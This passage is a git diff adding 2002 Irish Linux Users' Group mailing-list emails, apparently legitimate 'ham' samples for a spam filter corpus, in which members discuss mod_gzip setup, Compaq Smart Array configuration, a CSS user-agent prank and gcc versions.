+Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +two seperate projects this weekend. first mod_gzip which is an apache +module to speed up serving static and dynamic mime(text/.*) web content. +the second is the compaq smart array configs for linux. + +before i go on much more i'll cover the following bits: the server +is running redhat 7.3 linux with all the updates on a compaq dl380. +the client is running the same on a compaq laptop. pretty much everything +is stock redhat 7.3 - and i'm consciously trying to stick to that. + +------------------------------------------------------------------------ +mod_gzip: + + there's a tutorial on linux.ie for it (thanks donnacha) but since i'm + not an apache person this only got me part of the way. step by step, + this is what i did: + + # cd /root + # wget http://www.remotecommunications.com/apache/mod_gzip/src/1.3.19.1a/mod_gzip.c.gz + # gunzip mod_gzip.c.gz + # apxs -ic mod_gzip.c + + that should compile and install fine, so add the following to + your apache configs. i've included comments to explain where they + should go. my apache config is split among many files (which is + why i didn't use the -a flag to apxs). + + # put this after the last LoadModule line + LoadModule gzip_module /usr/lib/apache/mod_gzip.so + # put this after the last LoadModule line + AddModule mod_gzip.c + # this just needs to go below the obove two lines. + + mod_gzip_on Yes + mod_gzip_minimum_file_size 300 + mod_gzip_maximum_file_size 0 + mod_gzip_item_include file \.htm$ + mod_gzip_item_include file \.html$ + mod_gzip_item_include file \.txt$ + mod_gzip_item_include file \.php$ + mod_gzip_item_include file \.php3$ + mod_gzip_item_include file \.php4$ + mod_gzip_item_include file \.pl$ + mod_gzip_item_include mime text/.* + mod_gzip_item_include mime httpd/unix-directory + mod_gzip_item_include handler ^perl-script$ + mod_gzip_item_include handler ^server-status$ + mod_gzip_item_include handler ^server-info$ + mod_gzip_item_exclude file \.css$ + mod_gzip_item_exclude file \.js$ + mod_gzip_item_exclude mime ^image/.* + mod_gzip_dechunk yes + # mod_gzip_min_http 1000 + mod_gzip_temp_dir /tmp + mod_gzip_keep_workfiles No + + LogFormat "%h \"%f\" %{mod_gzip_result}n %{mod_gzip_input_size}n %{mod_gzip_output_size}n %{mod_gzip_compression_ratio}npct." mod_gzip_logs + CustomLog logs/compression_log mod_gzip_logs + + + finally, poke apache: + + # service httpd reload + + and after you've viewed some pages and check + /var/log/httpd/compression_log in order to see if it's working. + if you have /server-info avilable you should see that mod_gzip + is loaded. a compressed line and a non-compressed line might look + like this: + + roo "/.../ssl_glossary.html" OK 15092 4726 69pct. + roo "/.../ssl_template.head-num-7.gif" DECLINED:EXCLUDED 0 0 0pct. + +------------------------------------------------------------------------ +compaq smart array config: (WARNING: YOU NEED A JVM FOR YOUR BROWSER) + + i searched on google for "compaq smart array configuration linux" and + got a slew of hits. one of them was a click away from this page: + + http://www.compaq.com/support/files/server/us/download/14703.html + + i downloaded the rpm. installed it. and ran the server per the + instructions. note, the -R enables remote connections. if you're + running the browser locally, run it without the -R and connect + to localhost. + + cpqacuxe -R + + i found that galeon didn't work. mozilla did. i suspect it's because + pop-ups are disabled in galeon config, but i might be wrong. it uses + java which is slow and memory hungry on this laptop. feel free to + try galeon with pop-ups enabled if you want to. + + so, point mozilla at http://yourserver:2301/ . login as + administrator/administrator and change your password. then go back + to the main page and click the little drive array graphic towards + the bottom. configure your array as you want (i had to add a disk). + save your changes, and exit. to stop the server, just do this: + + cpqacuxe -stop + + in my case the drive was now accessible. i started the process of + making the file systems by partitioning the drive. i knew what + it would be called, but a grep for ida on the output of dmesg + confirmed it. + + fdisk /dev/ida/c0d1 + + and from there i built the filesystems and so on. + +hope this helps some folks, + +kevin + +-- +Kevin Lyda - kevin@doolin.com +Lead Programmer +Doolin Technologies + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00133.035335262a159fef46fff7499a8ac28f b/bayes/spamham/easy_ham_2/00133.035335262a159fef46fff7499a8ac28f new file mode 100644 index 0000000..b56a7e7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00133.035335262a159fef46fff7499a8ac28f @@ -0,0 +1,78 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 222DF44154 + for ; Mon, 29 Jul 2002 06:25:17 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:17 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6SJT9i20561 for + ; Sun, 28 Jul 2002 20:29:09 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id UAA22917; Sun, 28 Jul 2002 20:27:00 +0100 +Received: from hibernia.jakma.org (hibernia.clubi.ie [212.17.32.129]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id UAA22878 for ; + Sun, 28 Jul 2002 20:26:52 +0100 +Received: from fogarty.jakma.org (fogarty.jakma.org [192.168.0.4]) by + hibernia.jakma.org (8.11.6/8.11.6) with ESMTP id g6SJXSw18572; + Sun, 28 Jul 2002 20:33:28 +0100 +Received: from localhost (paul@localhost) by fogarty.jakma.org + (8.11.6/8.11.6) with ESMTP id g6SJXQa16574; Sun, 28 Jul 2002 20:33:26 + +0100 +X-Authentication-Warning: fogarty.jakma.org: paul owned process doing -bs +Date: Sun, 28 Jul 2002 20:33:24 +0100 (IST) +From: Paul Jakma +X-X-Sender: paul@fogarty.jakma.org +To: kevin lyda +Cc: irish linux users group +Subject: Re: [ILUG] weekend projects... +In-Reply-To: <20020728190929.B2315@ie.suberic.net> +Message-Id: +X-Nsa: iraq saddam hammas hisballah rabin ayatollah korea vietnam revolt + mustard gas +X-Dumb-Filters: aryan marijuiana cocaine heroin hardcore cum pussy porn + teen tit sex lesbian group +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sun, 28 Jul 2002, kevin lyda wrote: + +> mod_gzip_item_include file \.htm$ +> mod_gzip_item_include file \.html$ +> mod_gzip_item_include file \.txt$ +> mod_gzip_item_include file \.php$ +> mod_gzip_item_include file \.php3$ +> mod_gzip_item_include file \.php4$ +> mod_gzip_item_include file \.pl$ +> mod_gzip_item_include mime text/.* +> mod_gzip_item_include mime httpd/unix-directory +> mod_gzip_item_include handler ^perl-script$ +> mod_gzip_item_include handler ^server-status$ +> mod_gzip_item_include handler ^server-info$ + +hmm.. add \.swf and \.class to list of files above that can do with +compressing. + +regards, +-- +Paul Jakma paul@clubi.ie paul@jakma.org Key ID: 64A2FF6A +Fortune: +No matter whether th' constitution follows th' flag or not, th' supreme +court follows th' iliction returns. + -- Mr. Dooley + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00134.ff80b3057938bbbbc9e71e71ac7f4bd9 b/bayes/spamham/easy_ham_2/00134.ff80b3057938bbbbc9e71e71ac7f4bd9 new file mode 100644 index 0000000..3ee8890 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00134.ff80b3057938bbbbc9e71e71ac7f4bd9 @@ -0,0 +1,77 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9D7DE44153 + for ; Mon, 29 Jul 2002 06:25:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:16 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6SIYvi18724 for + ; Sun, 28 Jul 2002 19:34:57 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA19871; Sun, 28 Jul 2002 19:33:29 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from smtp016.mail.yahoo.com (smtp016.mail.yahoo.com + [216.136.174.113]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id TAA19837 + for ; Sun, 28 Jul 2002 19:33:21 +0100 +Received: from p237.as1.cra.dublin.eircom.net (HELO mfrenchw2k) + (mfrench42@159.134.176.237 with login) by smtp.mail.vip.sc5.yahoo.com with + SMTP; 28 Jul 2002 18:33:18 -0000 +Message-Id: <002a01c23664$b7326d40$f264a8c0@sabeo.ie> +From: "Matthew French" +To: +References: <200207262228.XAA19581@lugh.tuatha.org> + <20020727015716.A6561@ie.suberic.net> + <200207271701.SAA23172@lugh.tuatha.org> <3D4359EE.9050405@esatclear.ie> +Subject: Re: [ILUG] Optimizing for Pentium Pt.2 +Date: Sun, 28 Jul 2002 19:29:29 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Paul Kelly mentioned: +> gcc has been as good as or better than pgcc for quite a while. pgcc was +> was written back in the days when gcc splintered due to a perception of +> slow progress on the main branch. A number of Linux distributions wound +> up using egcs, partly derived from the pgcc work as I recall. Happiness +> was restored to the world with gcc 2.95 and later. + +I do not have the time to follow the compiler "wars", but I notice that I +must use egcs to build 64 bit SPARC code. + +GCC 3 should do it, but because it is so "buggy"[1] it is not worth trying +to use unless you really want to track down those compiler errors... :( + +- Matthew + +[1] "buggy" in the sense that its a feature. Many of the problems with GCC 3 +seem to be related to stricter syntax checking. More accurate information +will be appreciated. + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00135.0d5ad403b361fd41210885d4e4b44e81 b/bayes/spamham/easy_ham_2/00135.0d5ad403b361fd41210885d4e4b44e81 new file mode 100644 index 0000000..027a984 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00135.0d5ad403b361fd41210885d4e4b44e81 @@ -0,0 +1,99 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CAD0144127 + for ; Mon, 29 Jul 2002 06:25:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:18 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6T2TJi04564 for + ; Mon, 29 Jul 2002 03:29:19 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id DAA12842; Mon, 29 Jul 2002 03:25:57 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id DAA12807 for ; + Mon, 29 Jul 2002 03:25:50 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6T2PnY06410 for ; + Mon, 29 Jul 2002 03:25:49 +0100 +Date: Mon, 29 Jul 2002 03:25:47 +0100 +To: irish linux users group +Message-Id: <20020729032547.A5170@ie.suberic.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +X-Delivery-Agent: TMDA/0.57 +Subject: [ILUG] web amusements... +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +ok, so i was also learning about css this weekend (thanks to the fine +folks in irc.linux.ie, #linux!). i came up with the following in +my travels. first, two style sheets: + +http://ie.suberic.net/css/style.css: + body { + color : black; + background-color : white; + } + +http://ie.suberic.net/css/style-windows.css: + body { + background-image : url("http://ie.suberic.net/images/use.linux.gif"); + background-repeat: repeat; + } + +then i include the css in an html page like so: + + + + + blah + + + +now i use mod_rewrite to rewrite requests for /css/style.css to +/css/style-windows.css if the browser is on windows by putting this +in httpd.conf: + + RewriteEngine on + #RewriteLog "/tmp/foo.log" # use this for debugging + #RewriteLogLevel 3 + RewriteCond %{HTTP_USER_AGENT} Windows + RewriteRule ^/css/style\.css$ /css/style-windows.css + +oh, and of course images/use.linux.gif is an animated gif that is +transparent for 55 seconds and then displays "use linux!" in a large +blue font for 5 seconds. :) + +and the way to create animated gifs is to put each frame in a layer in +the gimp. pick any name for each layer, but make sure each layer ends +with (XXXms) where XXX is the number of milliseconds the frame displays. +then use the animation tool to export the animation. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00136.ad45de584fcb47c912a00b30e93c890b b/bayes/spamham/easy_ham_2/00136.ad45de584fcb47c912a00b30e93c890b new file mode 100644 index 0000000..ba8a3b2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00136.ad45de584fcb47c912a00b30e93c890b @@ -0,0 +1,91 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CBFA344157 + for ; Mon, 29 Jul 2002 06:25:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:19 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6T5fRi12646 for + ; Mon, 29 Jul 2002 06:41:27 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id GAA19822; Mon, 29 Jul 2002 06:39:10 +0100 +Received: from odin.isw.intel.com (swfdns01.isw.intel.com [192.55.37.143]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id GAA19746 for + ; Mon, 29 Jul 2002 06:39:02 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host swfdns01.isw.intel.com + [192.55.37.143] claimed to be odin.isw.intel.com +Received: from swsmsxvs01.isw.intel.com (swsmsxvs01.isw.intel.com + [172.28.130.22]) by odin.isw.intel.com (8.11.6/8.11.6/d: solo.mc, + v 1.42 2002/05/23 22:21:11 root Exp $) with SMTP id g6T5d1u19413 for + ; Mon, 29 Jul 2002 05:39:01 GMT +Received: from swsmsx17.isw.intel.com ([172.28.130.21]) by + swsmsxvs01.isw.intel.com (NAVGW 2.5.2.11) with SMTP id + M2002072906375012076 ; Mon, 29 Jul 2002 06:37:50 +0100 +Received: by swsmsx17.isw.intel.com with Internet Mail Service + (5.5.2653.19) id ; Mon, 29 Jul 2002 06:42:57 +0100 +Message-Id: +From: "Satelle, StevenX" +To: "'Robert Synnott'" , + Liam Bedford , ilug@linux.ie +Subject: RE: [ILUG] [OT] Oceanfree Dial-up Number +Date: Mon, 29 Jul 2002 06:38:52 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-15" +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + GAA19746 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I've found that while my win2k box doesnt care what username/passwd it uses +the linux box wont work except using oceanfree/oceanfree. Whether this is a +machine or oceanfree issue I leave to yourself to decide. + +-----Original Message----- +From: Robert Synnott [mailto:r.synnott@oceanfree.net] +Sent: 27 July 2002 11:39 +To: Liam Bedford; ilug@linux.ie +Subject: Re: [ILUG] [OT] Oceanfree Dial-up Number + + +Actually, they do; though they aren't case sensitive. It seems to have some +trouble wtih PAP/CHAP authentication as well; you might have to do it by +script? + +On Friday 26 July 2002 12:37, Liam Bedford wrote: +> On Fri, 26 Jul 2002 12:23:24 +0100 +> +> HAMILTON,DAVID (HP-Ireland,ex2) claiming to think: +> > Hi All, +> > +> > I am trying to find the Oceanfree ISDN dialup number for Dublin. +> > http://iiu.taint.org/ appears to be down, or at least I can't get to it, +> > and I don't want to pay oceanfree ¤10 per second for tech support :-). +> +> 01-2434321 +> username: oceanfree +> password: oceanfree +> +> don't think the username and password matter much though. +> +> L. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00137.4fa7edf6ba7ea2866b5ccf00de3dd6e9 b/bayes/spamham/easy_ham_2/00137.4fa7edf6ba7ea2866b5ccf00de3dd6e9 new file mode 100644 index 0000000..ae61398 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00137.4fa7edf6ba7ea2866b5ccf00de3dd6e9 @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 57EA444156 + for ; Mon, 29 Jul 2002 06:25:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:19 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6T46ii09906 for + ; Mon, 29 Jul 2002 05:06:44 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id FAA16146; Mon, 29 Jul 2002 05:04:36 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from escargot.esatclear.ie (escargot.esatclear.ie + [194.145.128.30]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id FAA16111 + for ; Mon, 29 Jul 2002 05:04:26 +0100 +Received: from esatclear.ie (d-airlock032.esatclear.ie [194.145.133.32]) + by escargot.esatclear.ie (8.9.3/8.9.3) with ESMTP id FAA14188 for + ; Mon, 29 Jul 2002 05:04:25 +0100 +Message-Id: <3D44BE4F.8070603@esatclear.ie> +Date: Mon, 29 Jul 2002 05:02:23 +0100 +From: Paul Kelly +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020725 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Subject: Re: [ILUG] Optimizing for Pentium Pt.2 +References: <200207262228.XAA19581@lugh.tuatha.org> + <20020727015716.A6561@ie.suberic.net> + <200207271701.SAA23172@lugh.tuatha.org> <3D4359EE.9050405@esatclear.ie> + <002a01c23664$b7326d40$f264a8c0@sabeo.ie> +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Matthew French wrote: +>>Happiness was restored to the world with gcc 2.95 and later. +> I do not have the time to follow the compiler "wars", but I notice that I +> must use egcs to build 64 bit SPARC code. + +2.95 was where the reintegration effort started and work on the other +projects fell away. 3.0 was the target for completion of that work. + +> GCC 3 should do it, but because it is so "buggy"[1] it is not worth trying +> to use unless you really want to track down those compiler errors... :( + +A lot of those problems seem to have been shaken out by Redhat's ballsy +gcc 2.96 stunt. I've been trying out RedHat Limbo for a few weeks now, +equipped with gcc 3.1. I haven't fallen foul of compiler issue so far, +that I'm aware of anyhow. That said I'm glad I don't do much C++ - seems +pretty much every version of gcc (2.95, 2.96, 3.0, 3.1, and the +forthcoming 3.2) breaks C++ binary compatibility in some way or other. + +Paul. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00138.0e5632de530beed8909638739b9b1df0 b/bayes/spamham/easy_ham_2/00138.0e5632de530beed8909638739b9b1df0 new file mode 100644 index 0000000..177504a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00138.0e5632de530beed8909638739b9b1df0 @@ -0,0 +1,77 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4D58C44158 + for ; Mon, 29 Jul 2002 06:25:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6T7BFi15421 for + ; Mon, 29 Jul 2002 08:11:15 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA25081; Mon, 29 Jul 2002 08:08:07 +0100 +Received: from mel-rto3.wanadoo.fr (smtp-out-3.wanadoo.fr + [193.252.19.233]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id IAA25035 + for ; Mon, 29 Jul 2002 08:07:56 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host smtp-out-3.wanadoo.fr + [193.252.19.233] claimed to be mel-rto3.wanadoo.fr +Received: from mel-rta8.wanadoo.fr (193.252.19.79) by mel-rto3.wanadoo.fr + (6.5.007) id 3D1848E60116B930 for ilug@linux.ie; Mon, 29 Jul 2002 09:07:25 + +0200 +Received: from bolsh.wanadoo.fr (80.8.224.71) by mel-rta8.wanadoo.fr + (6.5.007) id 3D2A78F6008FCEC5 for ilug@linux.ie; Mon, 29 Jul 2002 09:07:25 + +0200 +Received: from dave by bolsh.wanadoo.fr with local (Exim 3.32 #1 (Debian)) + id 17Z4hS-0003xb-00 for ; Mon, 29 Jul 2002 09:12:14 +0200 +Date: Mon, 29 Jul 2002 09:12:13 +0200 +From: David Neary +To: irish linux users group +Subject: Re: [ILUG] web amusements... +Message-Id: <20020729091213.A15086@wanadoo.fr> +References: <20020729032547.A5170@ie.suberic.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-15 +Content-Disposition: inline +In-Reply-To: <20020729032547.A5170@ie.suberic.net> +User-Agent: Mutt/1.3.23i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +kevin lyda wrote: +> oh, and of course images/use.linux.gif is an animated gif that is +> transparent for 55 seconds and then displays "use linux!" in a large +> blue font for 5 seconds. :) +> +> and the way to create animated gifs is to put each frame in a layer in +> the gimp. pick any name for each layer, but make sure each layer ends +> with (XXXms) where XXX is the number of milliseconds the frame displays. +> then use the animation tool to export the animation. + +Nice trick. + +One thing - to save an image as an animated GIF (for example), +you just do a save as, and set the extension to .gif - you should +get a dialog asking whether you want to merge visible layers or +save as an animation. I believe that you can also specify the +extension as .mpg or .mpeg if you've got the mpeg plug-in built. + +Cheers, +Dave. + +-- + David Neary, + Marseille, France + E-Mail: bolsh@gimp.org + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00139.c27d87382549a9b688309fabc221261d b/bayes/spamham/easy_ham_2/00139.c27d87382549a9b688309fabc221261d new file mode 100644 index 0000000..c6af8c0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00139.c27d87382549a9b688309fabc221261d @@ -0,0 +1,68 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BE758440FD + for ; Mon, 29 Jul 2002 06:25:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6T7tdi16752 for + ; Mon, 29 Jul 2002 08:55:39 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA28439; Mon, 29 Jul 2002 08:53:40 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id IAA28400 for ; Mon, + 29 Jul 2002 08:53:32 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id IAA02956 for ; Mon, + 29 Jul 2002 08:53:01 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g6T7rZF19894 for ilug@linux.ie; Mon, 29 Jul 2002 08:53:35 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Mon, 29 Jul 2002 08:53:35 +0100 +From: "John P. Looney" +To: irish linux users group +Subject: Re: [ILUG] weekend projects... +Message-Id: <20020729075335.GB2689@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: irish linux users group +References: <20020728190929.B2315@ie.suberic.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020728190929.B2315@ie.suberic.net> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Sun, Jul 28, 2002 at 07:09:29PM +0100, kevin lyda mentioned: +> there's a tutorial on linux.ie for it (thanks donnacha) but since i'm +> not an apache person this only got me part of the way. step by step, +> this is what i did: +> +> # cd /root +> # wget http://www.remotecommunications.com/apache/mod_gzip/src/1.3.19.1a/mod_gzip.c.gz +> # gunzip mod_gzip.c.gz +> # apxs -ic mod_gzip.c + + Thanks kevin...mod_gzip for the terminally lazy :) + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00140.3ca2fd4aeeb1970c6d2f705e6f53436a b/bayes/spamham/easy_ham_2/00140.3ca2fd4aeeb1970c6d2f705e6f53436a new file mode 100644 index 0000000..3f97271 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00140.3ca2fd4aeeb1970c6d2f705e6f53436a @@ -0,0 +1,104 @@ +From ilug-admin@linux.ie Mon Jul 29 11:28:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3355544159 + for ; Mon, 29 Jul 2002 06:25:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:21 +0100 (IST) +Received: from 